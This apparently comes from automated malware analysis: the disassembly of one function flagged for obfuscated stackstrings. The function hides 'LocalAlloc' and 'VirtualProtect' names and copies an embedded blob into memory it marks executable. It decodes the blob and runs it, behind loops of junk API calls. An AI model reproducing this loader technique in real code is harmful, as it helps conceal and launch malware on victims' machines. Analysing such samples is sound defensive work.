Function at 0x401130
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa5c
mov eax, dword [0x423960]
xor eax, ebp
mov dword [ebp - 8], eax
push 0x5334b8
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x8aacc
jne 0x401251
mov dword [ebp - 0xa4c], 0x424d60
mov eax, dword [ebp - 0xa4c]
add eax, 1
mov dword [ebp - 0xa50], eax
mov ecx, dword [ebp - 0xa4c]
mov dl, byte [ecx]
mov byte [ebp - 0xa51], dl
add dword [ebp - 0xa4c], 1
cmp byte [ebp - 0xa51], 0
jne 0x401172
mov eax, dword [ebp - 0xa4c]
sub eax, dword [ebp - 0xa50]
mov dword [ebp - 0xa58], eax
cmp dword [ebp - 0xa58], 0x90173
jne 0x401251
sub esp, 8
fld qword [0x41d2e8]
fstp qword [esp]
call fcn.00408ef0
fstp st(0)
add esp, 8
push 1
push 3
lea ecx, [ebp - 0x8b8]
call fcn.00401bf0
lea ecx, [ebp - 0x8b8]
test ecx, ecx
je 0x4011f2
lea edx, [ebp - 0x8b8]
add edx, 0x10
mov dword [ebp - 0xa5c], edx
jmp 0x4011fc
mov dword [ebp - 0xa5c], 0
push str.nemafi
mov eax, dword [ebp - 0xa5c]
push eax
call fcn.00404c60
push 0x199abbfc
lea ecx, [ebp - 0x8a8]
call fcn.00401610
sub esp, 8
fld qword [0x41d2e0]
fstp qword [esp]
lea ecx, [ebp - 0x8a8]
call fcn.00401970
call dword [sym.imp.ole32.dll_CoGetCurrentProcess]
push 0
push 0
call fcn.00408ed9
add esp, 8
lea ecx, [ebp - 0x8b8]
call fcn.004015e0
mov dword [ebp - 0x8bc], 0
jmp 0x40126c
mov ecx, dword [ebp - 0x8bc]
add ecx, 1
mov dword [ebp - 0x8bc], ecx
cmp dword [ebp - 0x8bc], 0x20759a04
jge 0x4012e9
lea edx, [ebp - 0x9e8]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExA]
cmp dword [ebp - 0x8bc], 0x23a6
jge 0x4012bc
push 0
call dword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
push 0
lea eax, [ebp - 0x9f0]
push eax
lea ecx, [ebp - 0x9f4]
push ecx
lea edx, [ebp - 0x9ec]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetQueuedCompletionStatus]
cmp dword [ebp - 0x8bc], 0x21b54
jle 0x4012e4
movzx eax, word [ebp - 0x9d6]
cmp eax, 0x62edb11b
je 0x4012e4
cmp dword [ebp - 0x8c4], 0x3aac62a8
je 0x4012e4
jmp 0x4012e9
jmp 0x40125d
mov ecx, dword [0x423410]
mov dword [0x536708], ecx
mov edx, dword [0x536708]
add edx, 0x3343d
mov dword [0x536708], edx
mov dword [ebp - 0x9f8], 0
jmp 0x401322
mov eax, dword [ebp - 0x9f8]
add eax, 1
mov dword [ebp - 0x9f8], eax
cmp dword [ebp - 0x9f8], 0x411fea
jge 0x40134c
cmp dword [ebp - 0x9f8], 0x2506bc
jne 0x40134a
push 0x41d1c8
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [0x5334b4], eax
jmp 0x401313
mov byte [ebp - 0x403], 0x41
mov byte [ebp - 0x406], 0x63
mov byte [ebp - 0x400], 0x6f
mov byte [ebp - 0x401], 0x6c
mov byte [ebp - 0x408], 0x4c
mov byte [ebp - 0x3ff], 0x63
mov byte [ebp - 0x405], 0x61
mov byte [ebp - 0x404], 0x6c
mov byte [ebp - 0x402], 0x6c
mov byte [ebp - 0x407], 0x6f
mov byte [ebp - 0x3fe], 0
mov dword [ebp - 0x9fc], 0
jmp 0x4013b4
mov ecx, dword [ebp - 0x9fc]
add ecx, 1
mov dword [ebp - 0x9fc], ecx
cmp dword [ebp - 0x9fc], 0x1dcc9c
jge 0x4013e6
cmp dword [ebp - 0x9fc], 0x6d79a
jne 0x4013e4
lea edx, [ebp - 0x408]
push edx
mov eax, dword [0x5334b4]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43c9dc], eax
jmp 0x4013a5
mov ecx, dword [0x536708]
push ecx
push 0
call dword [0x43c9dc]
mov dword [0x43c9d8], eax
mov dword [ebp - 0xa00], 0
jmp 0x401415
mov edx, dword [ebp - 0xa00]
add edx, 1
mov dword [ebp - 0xa00], edx
cmp dword [ebp - 0xa00], 0x543ec6
jge 0x401455
cmp dword [ebp - 0xa00], 0x340471
jne 0x401437
mov eax, dword [0x423404]
mov dword [0x53670c], eax
cmp dword [ebp - 0xa00], 0x177
jge 0x401453
push str.cehijetudexicawomutegafefopiwo_zemogigaxujazajiyanivoxa_mi
push str.caverenixadatebicofutiwefogu_cubohexuviyicayanemoyi
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointA]
jmp 0x401406
mov dword [ebp - 0xa04], 0
jmp 0x401470
mov ecx, dword [ebp - 0xa04]
add ecx, 1
mov dword [ebp - 0xa04], ecx
mov edx, dword [ebp - 0xa04]
cmp edx, dword [0x536708]
jae 0x4014c4
cmp dword [ebp - 0xa04], 0x9b3
jge 0x4014a2
lea eax, [ebp - 0xa48]
push eax
push str.zowiwayepaxoliwu_ropiyenazizofo_conaleseyimucayedupo
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindActCtxSectionStringW]
mov ecx, dword [0x43c9d8]
add ecx, dword [ebp - 0xa04]
mov edx, dword [0x53670c]
add edx, dword [ebp - 0xa04]
mov al, byte [edx + 0x3343d]
mov byte [ecx], al
jmp 0x401461
mov dword [ebp - 0x80c], 0xbb
sub dword [ebp - 0x80c], 0x7b
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [0x5334b4], eax
mov byte [ebp - 0x7ff], 0x6f
mov byte [ebp - 0x7fd], 0x65
mov byte [ebp - 0x7fb], 0x74
mov byte [ebp - 0x801], 0x50
mov byte [ebp - 0x7fc], 0x63
mov byte [ebp - 0x807], 0x69
mov byte [ebp - 0x806], 0x72
mov byte [ebp - 0x804], 0x75
mov byte [ebp - 0x803], 0x61
mov byte [ebp - 0x805], 0x74
mov byte [ebp - 0x808], 0x56
mov byte [ebp - 0x802], 0x6c
mov byte [ebp - 0x800], 0x72
mov byte [ebp - 0x7fe], 0x74
mov byte [ebp - 0x7fa], 0
lea ecx, [ebp - 0x808]
push ecx
mov edx, dword [0x5334b4]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43c9d4], eax
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp - 0x80c]
push ecx
mov edx, dword [0x536708]
push edx
mov eax, dword [0x43c9d8]
push eax
call dword [0x43c9d4]
push section..data
mov ecx, dword [0x536708]
push ecx
mov edx, dword [0x43c9d8]
push edx
call fcn.004010e0
nop
add dword [0x536708], 0x106ebc58
call dword [0x43c9d8]
mov eax, dword [0x53693c]
mov ecx, dword fs:[0x2c]
mov edx, dword [ecx + eax*4]
mov dword [edx + 4], 1
xor eax, eax
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00409086
mov esp, ebp
pop ebp
ret 0x10